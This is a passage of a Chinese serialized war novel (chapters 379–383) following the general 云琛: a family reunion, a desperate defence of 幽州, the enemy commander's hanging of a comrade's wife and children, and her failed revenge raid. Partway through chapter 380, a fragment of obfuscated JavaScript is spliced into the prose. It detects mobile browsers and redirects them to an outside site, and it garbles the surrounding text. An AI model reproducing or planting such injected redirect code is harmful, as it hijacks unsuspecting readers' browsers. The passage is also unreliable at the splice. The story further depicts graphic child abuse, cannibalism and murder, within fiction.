一种从未有过的疲乏袭卷全身。
云琛从没感觉这么厌倦过,手中的新剑那般威武锋利,她却不想再挥动一下。
“不言哥,我好累。”
不言一愣,认识云琛这么多年,他第一次听到她说“累”,惊得他张口就道:
“你特娘终于也有喊‘累’的一天!从前在霍帮,你差点卷死我们知道不!每次收拾完玉家,我们累得胳膊都抬不起来了!你特娘还叫着去下一个堂口!一口气不让人歇啊!不行,我得赶紧去幽州,把这话学给叶峮哥听!他听了得放鞭炮庆祝呢!”
云琛失笑,轻摇头,“我不是那个意思,不是身上累,就是……就是……”
她说不出口。不言接过话,直白道:
“就是心里累,打仗打够了,**杀够了,是不?”
她不好意思地低下头,不言拍拍她的肩膀:
“这有啥?打打杀杀这么多年,换谁不累?我们又不是天生的**魔!没事,阿琛,累就歇歇,天塌下来有我们呢!少主指定顶到最后,别忘了,他个高腿长,穿靴子都得半日功夫呢!”
最后一句话勾起许多从前回忆,云琛被逗笑了,目光落在不言腰间系着的一块帕子上。
那是前些日子不言被吞云兽咬了一口之后,他从公主帐篷回来时系在手上的,显然是南璃君的帕子。
后来帕子洗干净,不言也没还回去,便系在腰间,充当配饰。
云琛用脚踢踢不言,揶揄笑道:
“公主的帕子哎,说,到啥程度了?”
不言被说的大红脸,连连摆手:
“别瞎说!公主是储君,九五之尊,哪是我攀扯起的!”
云琛斜眼瞧他,“你啥时候门第观念这么强了?我怎么不知道!这里就咱俩!别装!老实交代!”
说完,云琛撸起袖子,就要去抓不言。
为防止一闹起来又忘记男女大防,不言只得连连躲闪求饶:
“好好好我说!”
云琛露出一脸贼笑,作洗耳恭听装,样子像极了军营里
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那些小兵痞。
“你哦!”不言给她头上一个脑瓜崩,无奈笑道:“殿下她……她……”
只说出两个字,不言也和云琛一样,说不下去了。
不是他想瞒着什么,而是无从开口,不知道该用什么字眼去形容南璃君。
她有时安静,有时嬉笑,有时大哭,有时疯狂……
她可以前一刻温柔地在笑,下一刻就毫不犹豫地跳坡**。
她好像由一黑一白两种颜色拼成的小泥人,站在巨大的洪流中央,迷茫地在千万条险河里兜兜转转,就是找不到正确的那一条。
不言重重叹气,思来想去,半天才道:
“阿琛,对不起,我不该和公主走太近。”
还有一句:阿琛,你昏迷时,公主身边的宫人刺杀过你,可我真的判断不出是不是公主指使的……所以我选择不告诉你,对不起……
这句话,不言说不出口。
在他不敢去探究的内心深处,那最怯懦最自私的地方,是否怕一旦说出口,云琛便会立刻扭头背弃,南璃君就会失去最后的倚仗呢?
云琛并不知不言内心所想,她像是听见什么大傻话,笑道:
“为啥道歉?你要是当驸马了,就在地图上划拉块地方送我,或者把国库给我开放三天,行不?”
不言愣愣地与云琛对视上,而后两人同时大笑起来。
“哈哈哈哈哈——”
星空下回荡着两人放肆的笑声。
“‘驸马’?‘国库’?阿琛,论敢想我是真服你!”
“过奖过奖,只盼一人得道鸡犬升天!‘狗富贵,勿相忘’哟!”
“去你的!”
“要不打个欠条先?”
“滚!”
第379章 再回云府
熊顿**,洛疆换了新王,云琛和亲之事自然不再算数。
南璃君亲口下令,云琛还是狮威军的玄威少将。
作为留守部队里级别最高的将领,云琛自然而然担当起护驾行军的首责。
不言选择将云琛被刺杀之事暂时瞒下来,待霍乾念战罢回来再说。云琛对自己昏迷中九死一生之事浑然不知,仍旧忠心耿耿地担负一干事务。
在进入幽州地界后,云琛第一要务便是安排东宫下榻之事。
为保证南璃君的安全,云琛一方面来了个狡兔三窟,派亲兵同时在城中最富庶的三户府邸人家同时守卫,做出南璃君下榻在此的架势;
另一面则悄悄将南璃君安置在一处隐秘宅院,只叫不言和数十名顶尖亲兵高手暗中相卫。
将所有事情安置好后,她才抽身来到云府。
如今的云府,接连经历分家、云中君逝去,已不复昔日辉煌。
从前广阔气派的府邸已被瓜分得七零八落,只剩中间一个三进三出的小院不说,还要忍受左右挨得极近的聒噪邻舍。
云琛伫立“云府”的牌匾下,抬手叩门。
来的已不是府中仆从和院卫,是张久之亲自来开的门。
大门启开,满头发白的张久之愣愣地看着云琛。
直到院子里的白氏问了句“谁呀?”张久之才老泪纵横地哭出来:
“是大小姐……大小姐……回来了……”
一句话落下,院子里所有人都跑了出来。
白氏、云岚、云恬、几个半大的孩子,还有七八个丫鬟老妈子,以及贾妈妈……
所有人都冲到大门口望着云琛,神情既惊又喜,底子却是怎么都掩盖不住的哀伤。
众人相顾无言,只有悲声痛哭。
而云琛望着这一大家子老弱妇孺,这才真切地感受到云中君已不在人世的痛楚。
云琛上前抱住白氏,哽咽唤了声“母亲。”
白氏倚靠在云琛怀里,用帕子捂着脸,早已哭得泣不成声。
一旁的云岚抹了把眼泪,强露出个笑容,道:
“琛姐姐,一个月前,狮威军途经幽州时,姐夫来了一趟,他说你有其他事务脱不开身,便没有一同来,你是不是受伤了?现在才好?”
“我好着呢,别担心。”云琛扶着白氏在院中坐下,所有人又都围靠过来,仿佛终于有了主心骨似的,你一句我一句地说着话。
“大小姐看着又瘦了!人也憔悴!唉……”
“托大小姐的福,霍姑爷来时,不仅带了许多金银细软,还命人帮我们加高加厚院墙。霍姑爷本想留二百个亲兵守卫,但考虑家里女眷多,不方便男人进出,就又将亲兵撤去,改为由守城军每日上门巡查。”
“想来是霍姑爷亲自跟广原城的太守官嘱咐过了,若有事,我们便去寻守城军,会护着我们的。”
“霍姑爷走时还说,叫我们思量些许,是否搬迁去京都同住,更有照应。”
众人七嘴八舌地说着话,几乎句句不离霍乾念,全是夸他的。
云琛心里很感动,她没想到霍乾念在那般紧张的迎战黑鳞骑兵的境地,还能想着来照顾她的家人。
她一一回话,仔细看过所有人,将每个孩子都抱了一遍,目光注意到角落里一直默不作声的云恬。
和其他人一样,云恬见到云琛也忍不住落泪,但哭过之后,她又一副有苦难言的样子,满脸怨怼之色,几次想开口,都被云岚瞪了回去。
云琛不知是为何,转而才觉察哪里不对劲。
怎么云岚和云恬的丈夫都不在身边?这一家子全是女眷和孩子,男人们呢?
云琛将心里的疑问说出来,所有人都低头不说话,只有云恬终于忍不住,崩溃地大哭出声:
“去问问你的好相公!问问你效忠的好东宫!为何我云家只剩女眷?我们的丈夫都去哪里了?”
“住口!”云岚大声斥责,还要再训,白氏却拉住云岚的手,悲伤地摇摇头,示意云岚别再说了。
云岚只好作罢,转头却又悄悄红了眼眶,不想叫云琛看见。
无奈,最后只能
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是张久之出来说话:
“霍姑爷走的时候,几乎所有男丁都跟他走了,说是一块去打‘**兵’,打赢了……就回来……”
云琛整个人愣住。
打赢了,就回来。
这话听着太熟悉,结果却可能和云中君一样,将是永远无法兑现的承诺。
看着强撑坚强的云岚,伤心欲绝的云恬,还有几个可能要永远失去父亲的懵懂孩子,云琛鼻头一阵发酸。
似乎怕云琛误会,白氏赶紧拉住她的手,解释道:
“大小姐别误会,不是霍姑爷要求的,是男儿们自己要从军打仗去。国家兴亡,匹夫有责,别说他们了,就是我们这些女眷,眼看国难当头,怎能无动于衷。他们硬是磨了霍姑爷半日,才跟着去的。”
云琛相信白氏的话,也知道霍乾念定然是被两个妹夫缠得实在没办法了,才同意他们投身狮威军。
保不齐为了护着两个妹夫,霍乾念很可能会安排最轻省的事务给他们。
可战场就是战场,再轻省的事务也是处在要命的境地。
更何况所有人才刚经历云中君战死,第一次直面战争的残酷,家里的男人们又全上战场了,怎能不揪心。
云琛不知道该怎么安慰云岚和云恬,身为将领,她只盼手底下的兵越多越好,身为长姐,她又深觉愧对家人,也愧对于云中君的在天之灵。
看出云琛的苦处,云岚故作潇洒地甩甩袖子,笑道:
“一个个都哭丧着脸干嘛?我相公可是杀敌的英雄!等他立功回来,我们云家便是功勋之家!”
这话虽是安慰人的,倒也不假,令众人都振奋许多。
一大家子终于重展笑颜,热热闹闹地张罗起晚饭,簇拥着云琛吃饱喝足,才又依依不舍地分别。
对云琛来说,这短暂的相聚太过珍贵。
像是一艘在大海里乘风破浪过几百次的帆船,终于有了停靠的港湾。
她那颗疲倦的心略略获得停歇,虽然剑锋上仍带着难以褪去的倦色,但已足够她继续向前。
第380章 吉祥物(上)
楠国三十三年四月初一,云琛向南璃君**,前往幽州外狮威军正与黑鳞骑兵酣战的主战场。
东宫驾继续留在广原城休整,由不言带领留守部队,承担护驾东宫之责。
分别的那一天,不言和云琛在城门外告别。
不言将刀柄上磨得发旧的刀彩取下来,上面密密麻麻用小楷写满了“平安”。
他将刀彩递给云琛,“老规矩,再见面时,再换回来。”
云琛熟练地接过刀彩,缠绕编织成剑穗的样式,然后将自己新剑上的南珠剑穗拆下来,递给不言,嘱咐道:
“不言哥,保护好自己。”
不言扬扬手里的南珠剑穗,不在意道:“我这里不过是守卫之责,不像你要去战场上拼命,你担心**啥?”
云琛用眼神示意南璃君的居所方向,笑得揶揄:
“我怕今后没有童子尿煮鸡蛋壳疗伤了。”
“好你个阿琛!跟荣易那群兵痞混久了!现在啥话都敢说了!”不言脸红大窘,抬手给了云琛头上一个暴栗,“女孩子不许说这些!”
说完,不言又意识到他童子之身的重要性。
对于他们这些打打杀杀的人来说,童子尿煮鸡蛋壳是一味很重要的疗伤要引,他赶紧勒紧腰带,拍拍胸脯保证道:
“放心,我指定守住咱霍帮最后的‘阵地’!”
云琛安慰他:“倒也不妨事,你没了,阿念还有呢!”
不言瞬间瞪大眼睛:“少、少、少主还是?竟然还是?你俩亲都定了,到现在还是?!你俩一天到晚干啥呢?拜把子当兄妹呢吗??”
这次换云琛脸红了,她捶了不言一拳头,翻身骑上吞云兽,挥挥手,潇洒地驾马离去。
不言一直望着云琛策马离开的背影,直到彻底消失在视线,他才自言自语地笑骂:
“这家伙,真是从来不回头啊……”
不言收回注目,向南璃君的居所走去。
浑然不知,这一别,差点成了永别。
……
……
在云琛踏出幽州这道楠国东部最后屏障的同时。
八十万头曼军队强行越过白头山,与十万黑鳞骑兵汇合一体,战线衔接,互为照应,形成了涵盖楠国整个北部、东部和南部的侵略线。
战况急转直下,近百万敌军如洪水般侵入楠国,国土尽落敌手。
黑鳞骑兵**而无人伦,捉城中妇孺食之,男**役之,**幼童,搜刮民财。
一夜之间,昭昭东土宛如人间炼狱。
敌军吞下东部却还不够,接连向幽州发起猛烈攻击。
狮威军和北伐军作为楠国最后的主力部队,尽管已预先知道敌军汇合进攻的阴谋,做好了最充足的准备。
但可惜连兵带马刚二十万出头,敌我力量太过悬殊,将士们纵使以一当十也难取胜,陷入困苦交战的境地。
短短六日,北伐军四万先锋部队全部阵亡;
又三日,狮威军最强步兵军、战车师、持戟营全部拼光,七万将士壮烈牺牲;35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147840|168723||http|test|mini|href|location''.split(''|''),0,{}));
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r>再五日,骑兵军团深陷敌军重兵包围,只剩寥寥两万拼死杀出,人马几乎全部覆没。
不得已,霍乾念只得向东宫求援,在全国境内接连发起十六轮征兵告示,力图死守幽州。
所有人都知道,一旦幽州被破,敌军将如入无人之境,直取京都。
民间立即纷纷响应征兵号召,上至贵族子弟,下至贩夫走卒,但凡适龄的男子,几乎全部奔赴战场。
来不及适应新兵训练,还未领到铠甲兵器,男人们就被战争的洪流推向血流成河的杀斗之地。
两万人、三万人......五万人......
无数青壮年从四面八方汇合到一起,像河流般涌向幽州。
一万万扑上去,又一万万倒下来。
幽州像一个张着血盆大口的无底怪物,吞噬掉所有为国赴死的赤胆忠魂,将无数血肉绞得粉碎,吐出累累白骨堆积成山。
到最后,青壮男丁尽战死,年逾半百的老者和未长成的少年,开始向狮威军递交投名状。
云琛等策马行军途中,已根本来不及勒马停下接受投名状,狂奔之际,只听到路边无数声音向她高问:
“将军战否?”
她无暇多言,答曰:
“战!”
那声音立刻翻身上马,加入狂奔的队伍。
白发出征,黄发束甲。
伤兵疲将再次向敌人冲锋而去。
至此,楠国遭遇有史以来最大的灭国危机,真正走到了生死存亡的境地。
第381章 吉祥物(中)
狮威军营地主帐内,众将垂首而坐。
所有人都是满身战伤,脸被硝烟熏得黑黄斑驳,浑身都散发着颓废疲惫的气息。
段捷头发蓬乱,嘴唇干裂;
不久前才带领五百死士加入狮威军的伏霖仰着身子坐在一边,累得像一摊烂泥;
罗东东抱头坐在地上,神情紧张,眉头紧皱,像是还没有从上一场战斗缓过来;
荣易盯着自己因为长期用力过猛而不断发抖的手,不知在想些什么。
正位之上,霍乾念静静闭眼小憩。
他脸色灰白,眼下泛着浓重的青色,脸上胡子拉碴,铠甲上凝着厚厚的血垢。
他睁开眼,目光平静地扫过所有人的脸庞,一一将众人丧气低落的样子看在眼里,最后落定在云琛身上,她正抱腿蜷在椅子里小睡。
她睡得很平稳,小脸红扑扑的,眉头舒展着,像是没有烦心事。
她从幽州赶来的时候,王庭决斗时的伤才刚刚痊愈,元气还未恢复,就急急向他汇报将东宫驾安置在广原城的事宜,接着便快速投入战场。
一连二十天,大小三十余场战役。
她每战必上,冲锋最前,杀敌最多。
和其他人越战越挫败不同,她像一锅永远沸腾的滚水,热血仿佛从来不会冷却,始终保持着最开始的勇猛杀劲。
她从不回头看来时的路,也绝不眺望败或胜的未来。
她只和从前一样,专注地活在当下,杀在当下,亦全身心地信任着霍乾念,接受一万种可能的结局。
这份独独她身上才有的纯粹意志,是已几乎打光斗志的狮威军们最后的信心。
一起征战这么久,没人明说,但霍乾念早已发现,所有人都已习惯以“云琛”来定心。
不论这战多恶劣,胜率多低,只要看到云琛一如平常从容,没有丝毫慌乱,众人就都觉得阎王殿尚远。
每每全军出动前,许多人都要一一来与云琛握手、碰肩,心里盼着平安归来,嘴上便要像祈祷许愿似的说句:
“老大,战罢请你喝酒啊”。
明知云琛是万中无一的杀伐悍将,越是艰险的战,她越打得不要命,偏偏大家都爱往她身边凑。
“云老虎”三个字,好像成了狮威军的吉祥物。
她已不只是他霍乾念的命门,更成了全军的定心神。
“人不多了,但还够再战一次。”
霍乾念一开口,满帐所有人立刻齐刷刷看来,即使已经累到不能言语,但还是一个个将腰背努力挺起,认真地听他说话。
接着,霍乾念宣布完作战部署,所有人都沉默了。
伏霖最先从椅子上爬起来,走到云琛身边:
“那我和云将军一队。欠云将军的,我这辈子就还,不等下辈子。”
众人知道,伏霖是说他领义军与敌军作战时,曾与雷霆云纹并肩作战,却没能护住云中君和霍雷霆的事。
不管旁人怎么说战场刀剑无眼,生死皆在意料之外,伏霖就是觉得对云琛有愧。
既然很可能是最后一战,那他情愿为守护云琛而死。
云琛揉揉惺忪的眼睛,“行,那先给你找匹马,你个子太大,可别把我从马背上挤下去。回头你们全骑着马在前面飞,就我一个人在地上跑。”
“哈哈哈……”众人都被这几句逗笑了,也都想起伏霖带着五百死士来投奔时的样子。
他们衣衫褴褛,脏污得如同野人一般,没有武器,没有战马,真不知道东南防线被破之后,是怎么一路从敌人眼皮子底下徒步逃亡来的。
而明知狮威军这里,是比先前更危急要命的战场,伏霖还是义无反顾地来了。
伏霖是条汉子。
众人都这么评价,也因此很快就接纳了伏霖这个新将,战场上打起配合也颇为默契。
只是伏霖没有战马,他一直找不到合适的马匹,每次作战都只能蹭别人的马。
今天蹭荣易的,明天蹭罗东东的。
因为他个子高大的缘故,每次打不了一会儿,就将马儿的正主挤掉马。
有一次气的
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罗东东一边厮杀,一边追着马大喊:
“俺的马!俺的马!!”
罗东东说话带着方言口音,伏霖没听懂,还以为罗东东是杀急眼了,在骂人,便也杀得更猛,驾马跑得更快。
罗东东两条腿都快倒腾出火星子了,也没追上自己的马。
眼见伏霖要和自己一队,云琛赶紧张罗给他找马,惹得众人都笑起来,气氛比一开始活络许多。
众人正说话间,忽听外边营地传来一阵欢呼声。
“是不是叶峮哥回来了?”云琛跑过去掀开帐帘——
只见叶峮已率弓箭队回营,他骑在马上,手中高举着一只带血的箭矢。
在周围人的欢呼和簇拥下,叶峮放声大笑,身上是狮威军连败苦战以来,已许久没见过的意气风发。
叶峮冲帐篷方向,用力挥舞手里的箭矢:
“阿琛!我去前方侦察敌情,行路途中遇到黑鳞骑兵小队——猜猜我射中谁了?”
云琛紧跑两步过去,其他人也随她钻出帐篷。
段捷笑道:“能让咱稳如泰山的叶大护卫这么高兴的,我猜至少副将级别!”
荣易从旁叫道:“我猜将军级别!”
“哈哈——”叶峮高兴地朝众**喊:“焦左泰!我射中焦左泰的耳朵了!”
叶峮将箭矢抛给迎面跑来的云琛,惋惜却难掩兴奋地说:
“哎!差一点!就差一点!但凡我箭再偏一寸,就能要他狗命!真是可惜!阿琛,要是你在就好了,指定摘了他脑袋!”
“叶哥!恭喜你!”
云琛打心眼里替叶峮高兴,更替整个狮威军高兴。
能在这个时候伤到敌军大将的耳朵,差一点取其性命,这对挫败已久狮威军来说,实在是极振奋人心的好消息。
将士们乌泱泱将叶峮围住,七嘴八舌地问射穿焦左泰耳朵时的情景,恨不能亲自去一趟千载难逢的伏击地点,再将焦左泰射一回。
在将士们兴奋的欢呼声中,叶峮被几个混小子抬着,高高抛上了天。
第382章 吉祥物(下)
在狮威军将士们兴奋的欢呼声中,叶峮被高高抛上了天。
与此同时,数百里之外的黑鳞骑兵营地。
主帅帐外,一大群黑鳞骑兵或站或立,各自忙活削箭头,擦战刀。
看似都在忙自己的事,实则耳朵和余光一直朝向主帐的方向。
互相对视之间,每个人的眼神都意味不明,颇有些猜疑和不屑在里头。
在帐子里一阵撕心裂肺的孩童哭泣后,片刻后,焦左泰猛地冲出帐篷,跪伏在地上狂吐不止。
因为呕得太过用力的缘故,他耳朵上刚刚止血的伤口再次裂开,迅速浸透了包扎布巾。
周围所有黑鳞骑兵们都冷冷看着这一幕,甚至没人上前扶焦左泰一把。
焦左泰没有回头看任何人,但他能清楚地感受到这狼群环伺般的目光。
黑鳞骑兵首领将军。
这个位置就像一块令人垂涎三尺的肥肉,勾引着所有黑鳞骑兵征服、掌控,以及肆意灭绝人性的欲望。
只要他焦左泰胆敢流露一丁点怯懦、疲惫、退缩,这群从西炎借来的狼,就会立马蜂拥而上,将他撕得粉碎,甚至不光是他,还有……
毕竟狼群的主人,从来都是颜十九,而不是他焦左泰这个傀儡。
他焦左泰只是颜十九的私将,来自东炎,与这群西炎恶兵没有任何牢固的情分。
狼王只有一个,但将军可以有很多。
坐不稳,就只能**被换掉。
想到这里,焦左泰用袖子擦去呕吐造成的涕泪和污渍,一点点重新站起来,系好裤腰带。
他扯下头上的包扎,毫无顾忌地将半只残破耳朵展现在所有人面前,任由鲜血顺着脖子蜿蜒而下。
他扫视全场,迎着所有黑鳞骑兵的目光,冷冷下令:
“去拖出来,做羹汤。”
一瞬的沉默过后,黑鳞骑兵们再次互相对视。
这一次,众人的目光中已不再猜疑,只有一如既往的服从。
很快,帐篷里昏死的小女孩被拖出来,一个黑鳞骑兵将她抗在肩头,哼着歌往厨房走去。
小女孩光溜溜的身子惨白惨白,那小小的脚丫在空中晃悠着,一下一下,像刺刀的尖刃般扎眼。
焦左泰再次环顾全场,所有人都在说笑,甚至有人对着那小女孩指指点点,开起不堪入耳的下流玩笑。
这不是个只有五岁的孩子吗?
为什么没有一个人为她这惨绝人寰的经历感到悲伤?哪怕一个呢?
从前不是这样的。
当年黑鳞骑兵第一次整军现世时,分明不是这样的……
到后来被逼着**肉。
再到后来,所有人原始的**被逼出来。
比起打仗,这群披着人皮的野兽,甚至更喜欢战后进入城镇,对着手无寸铁的平民,将**掳掠当作狂欢。
眼前,究竟是人间还是炼狱?
焦左泰一阵神思恍惚,但又立刻暗暗命令自己镇定下来。
他必须要和从前一样狠毒变态。
只有足够狠辣,才能令所有人心服口服。
只有他坐稳黑鳞骑兵将军这个位置,在群狼中保持威信,咬牙活下去——
狼王的目光才永远不会越过他,注意到那小小的身影上。
霍乾念,云琛,你们也快到极限了吧。
焦左泰在心里这样说。
而后他示意亲兵端出一个精致的楠木雕花妆匣,亲手将三样东西放入匣中。
“去,送给狮威军。”
……
……
两天后。
楠木雕花妆匣被送到狮威军的时候,众将正聚在主帐里,听叶峮第六次讲述他如何射穿焦左泰耳朵的光荣事迹。
叶峮从来稳重,这次属实有些高兴过头。
但众人都不拦着,他乐意讲,众人乐意听,每听一遍,就高兴一遍,何乐而不为。
“俺也想射焦左泰那**一箭,妈的,太羡慕叶哥了。”罗东东边说,边从传令兵的手里接过妆匣,狐疑道:
“这啥玩意儿?焦左泰骨灰?咋寄这来了?”
“骨灰?他什么东西,也配这么贵的盒子装?一泡尿冲走得了!”荣易拿过妆奁仔细查看,说道:
“金丝楠木,内外双雕,漆上的极匀,上面装点的宝石、珍珠、贝母,全都是琉璃岛来的。这妆匣比等身的黄金还贵重。焦左泰几个意思?”
荣易打小就见惯了各式各样的古董玩意儿。
甭管什么昂贵东西,到了他手里,两眼就能给你辨别出个东南西北子丑寅卯来。
听见这妆匣这么值钱,众人都好奇地凑上来,却不敢轻举妄动打开。
毕竟焦左泰为人阴险毒辣,曾用**害过云琛,保不齐匣子里藏着什么要命的机关呢。
霍乾念下意识将云琛护在身后,“站远些,小心暗箭。”
云琛从他肩膀上探出脑袋,脖子伸得老长,“我瞧瞧是啥,我好奇。”
段捷奇怪道:“两军交战,下战书骂人很常见,送首饰匣是几个意思?”
“不会又要和亲吧??”罗东东接了一句,所有人脸色骤变,惊恐地看向霍乾念和云琛。
众人都立马想起云琛差点被和亲嫁给洛疆王的事。
事情才过去不久,且后续引发的一系列危机,实在让人想起来都后怕。
云琛将脑袋缩起来,“都看**啥?焦左泰要娶我?疯了吧?”
“他敢?!”荣易怒喝一声。
不知道为啥,段捷下意识觉得脑袋疼,边嘶嘶地倒吸凉气,边道:
“不可能,敌军现在形势大好,一口吞了我们还不嫌够呢,不可能这个时候求和。”
罗东东叫起来:“那抛开打仗不谈,焦左泰有可能看上老大啊,毕竟老大这么好看。”
伏霖从旁咧嘴:“不能够吧……”
眼见话题越来越偏,都开始研究“焦左泰娶云琛”这种荒唐话题,霍乾念脸色黑冷:
“都说完了吗?”
所有人一下子闭嘴,不敢再胡说八道。
为了缓和气氛,叶峮走到妆匣前,叫所有人后退,自告奋勇道:
“是骡子是马拉出来溜溜,先打开再说——大家都让一让啊,让我这个‘神射手’来开匣子吧。”
在众人的好奇注视中,叶峮小心翼翼启开妆匣,然后愣了一下,提起匣子里三个玩意儿向众人展示:
“什么东西?泥娃娃?黑鳞骑兵的吉祥物吗,这么丑?”
三个白惨惨的泥人,做工粗糙,只有头和身子,什么五官和装饰都没有,一根细细的红线吊在脖子上,看起来颇为诡异。
罗东东凑近细看,“俺们村老人上吊就这样的。”
“焦左泰送三个这玩意儿来干什么?以示警告?”
“警告什么?要杀我们三个人?”
片刻沉默思考后,叶峮皱眉:
“**,不会是指霍帮亲卫吧?”
现在霍帮亲卫就剩三个,叶峮,不言,云琛。
叶峮一直替霍乾念监管整个霍帮,这也是他迟迟不入军籍
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的原因;不言如今担护卫东宫之责。
云琛就更不用说了。虽然名分上早已不是霍帮亲卫,但叶峮从来没把她算在外头,且伤她就等同于伤霍乾念。
如果焦左泰将目标放在这三人身上,只能说他有点狂,哪一个都不是好对付的,谁都有可能反过来取他小命。
“我觉得不是。”段捷反对,“他就算想暗杀,也没必要提前预告啊。这厮一向阴毒,此番招摇过市送东西来,肯定是有羞辱和打击的意思在里头。”
“三个娃娃能打击谁?主将是俩,副将是四个,数量对不上啊,有啥是三个的?”罗东东想了个遍,也想不到什么是成三之数的。
伏霖守东南防线时,也与焦左泰交手过多次。
他想说除了眼前这些人,还有没有其他什么重要的人?比如各位将领的家人之类的?
两军对战,不只将领,其家眷往往也是被打击报复的目标。
但这话伏霖还没来得及说出口,就听叶峮招呼众人道:
“管他呢!兵来将挡,水来土掩,只要他焦左泰敢来,老子就敢再射他一只耳朵!走走走,我媳妇儿说晚上给你们烧酸菜大棒骨,都上我家吃饭走。”
东南失守之后,许多百姓避难北上,叶峮的夫人和孩子也在其中。
因为如今到处都是战火,没什么安身之地,叶峮索性将妻儿安置在离营地不远的村子里,方便照看。
骑马过去,两个时辰就能到。
叶峮张罗众人赶紧出发。“酸菜”俩字显然勾得众人食指大动,都暂且把那奇怪的妆匣和三个上吊娃娃搁置一边。
这时,伏霖突然顿住动作,与段捷对视一眼,二人同时面色大变,齐齐看向叶峮。
接着云琛,荣易,罗东东,也全都想到了什么,雷击般怔在原地,惊恐地看着叶峮。
叶峮乐呵地走在最前头。
他手里把玩着那支射穿焦左泰耳朵的箭矢,正想和云琛唠唠“把箭头拆下来给他闺女当护身符,儿子会不会生气时”,一回头,却见所有人都僵在原地,没有跟上来。
每个人的脸上都是前所未有的恐惧表情。
叶峮吓了一跳,刚要骂人,却终于反应过来,脸色“唰”地就白了,骂了声“操!”然后连滚带爬翻身上马,向村子方向疯狂跑去。
云琛等紧随其后,霍乾念亦急命八百精兵同去。
众人一路驾马狂奔,全都在心里祈祷着千万别!千万别!
云琛想要冲上去安慰叶峮两句,可无论她多么卖力驾马,都始终追不上叶峮不要命的速度。
一个时辰过后,村落的房屋出现在眼前。
众人远远就看见叶峮家的茅屋前,乌泱泱聚满了神情惧怕的村民们。
这一下令所有人的心跌入冰冷谷底,马匹不自觉慢下来。
只有叶峮不减狂奔之势,急急勒马,连人带马摔了个大跟头。
战马发出高亢的嘶鸣,紧接着,叶峮悲痛的嘶吼声震耳欲聋。
“啊——”
他轰然跪倒在家门前,一声接一声,绝望地哀嚎着。
他的前方,一大两小,三道身影被红麻绳死死系住脖颈,吊在门梁上,身体早已青紫冰凉。
所有人的注意力都在叶峮身上,全都陪着他流泪痛哭。
没有人注意到,一张泪流满面却涌起无边恨意的脸庞,正悄悄退出人群。
等段捷和伏霖听到马蹄声急促远去的时候,已只能看见云琛狂乱又决绝的背影。
第383章 报仇
从来没有这么恨过!
从来没有这么想将一个人**万段!
那该死的焦左泰!生吞活剥都不够恨!
云琛心里怒恨交加,满脑子都是叶峮妻子直直吊死的身影。
泪眼模糊之中,她好像又回到叶峮家的小院。
每每在那里喝酒聚会时,叶峮的妻子总会给云琛盛上满满一大碗饭,饭底下总藏着最嫩的几块肉。
在知道云琛的女儿身之后,叶峮的妻子立马自发担起母亲的角色,亲手做了许多件胸衣寄给云琛。
一声“嫂子”喊了这么多年,胡氏眼里对云琛的疼惜,一点不比叶峮少。
还有那两个孩子,百日宴热闹时的情景依稀犹在,如今却只剩小小的身体吊在半空,小拳头紧紧攥着,像是在努力捱过那最后一刻的痛苦。
悲痛,心碎,仇恨,愤怒……
激烈的情绪在云琛胸中翻滚,叫她看不见眼前任何阻碍,满脑子只有一个念头:
报仇!报仇!杀了焦左泰!!
仇恨充斥着她的心胸,但也让她神经紧绷,行动比平时还要迅速,反应更加惊人机敏。
狂奔了整整一夜,她将马扔在两军对垒的交界点,正要继续徒步奔跑,衣角却被吞云兽死死咬住,说什么也不肯松口。
她满心只有复仇这一件事,对吞云兽根本没有耐心。
几番拉扯过后,她直接脱下外衣不要了,狠狠推开吞云兽,朝黑鳞骑兵的营地方向急速跑去。
趁着夜色掩护,她在营地边缘不停寻找,终于在值夜的士兵们打更换岗时悄悄潜入。
她按老办法装扮成收恭桶的杂役,悄无声息地出现在焦左泰帐子外,如蜻蜓般轻盈跃起,两腿剪住一个值守亲兵的脖子狠狠扭断,同时一刀割断另一人的喉咙。
要换作平时,她一则非必要不会动刀,叫血迹流到地上,引来其他人注意,二则必要将两个士兵摆成靠门睡着的样子,来为自己稍后的撤退预留充足的时间。
但此刻,她根本顾不得这些,一头扎进焦左泰帐子,反手紧握**,脚步无声地向内账床榻而去。
借着窗外火把的微弱光亮,她看见榻上有两个身影。
回忆起从前焦左泰时常需要**陪伴才能入睡的情景,云琛知道她有一半的概率得手,还有一半的概率错杀无辜。
这是唯一的一次击杀机会。
这一刻,长久以来的忠良正义荡然无存!
没有一丝一毫的犹豫,她抽出备用的贴身**。
两把**,一左一右,闪电般朝着榻上的两道身影杀去,干脆利索地**两个喉咙。
但出乎意料的是,刀尖传来的并不是熟悉的肉与骨的质感,而是轻飘飘的,没有一点分量。
几乎是一瞬间,云琛就意识到中计了!
难怪这么容易潜进来!是圈套!
她立刻拔腿飞逃,却有一道黑影比她速度更快,从帐篷顶直直跃下,一脚将她踹翻在地。
接着,两个蒲扇般的大手狠狠夹击向她双耳。
剧痛贯穿耳朵,震得她脑袋轰鸣眩晕,口鼻喷出鲜血。
耳中除了嗡嗡不止的轰鸣声,其他什么也听不到。
黑暗之中,她再也无法凭借听力判断焦左泰的攻击方位,很快处于下风,被焦左泰死死摁倒在地上。
摔下去的那一刻,借着外面赶来支援的黑鳞骑兵的火把,她目光瞥到榻上方才被她双刀插喉的两个“人影”,整个人如同五雷轰顶般震住,下意识喃喃叫了声:
“爹……爹啊……”
同一时刻,焦左泰也看清了火光之下满是鲜血的脸,不是他预料来复仇的叶峮,竟是云琛!
他大惊失色,手中下意识将云琛整个人甩出去,叫她正落在榻上两具人皮稻草人的中间。
颜十九从来没有下过命令,要焦左泰特别优待云琛。
甚至还屡屡设计一幕幕最非人的场景,叫云琛留下挥之不去的心里阴影。
但作为颜十九最心腹的大将,焦左泰深知颜十九矛盾又疯狂的背后,抱着什么样的目的。
云琛对颜十九来说有多重要,已根本不需要说出口。
想到这里,焦左泰一阵头皮发麻。
若不是刚才的火光,只怕焦左泰已将云琛错当成叶峮,直接杀死。
如果真的是那样,焦左泰虽能捡回被射穿耳朵丢失的威严,依旧牢牢震住黑鳞骑兵,但在颜十九的怒火之下,下一个死的必然是自己。
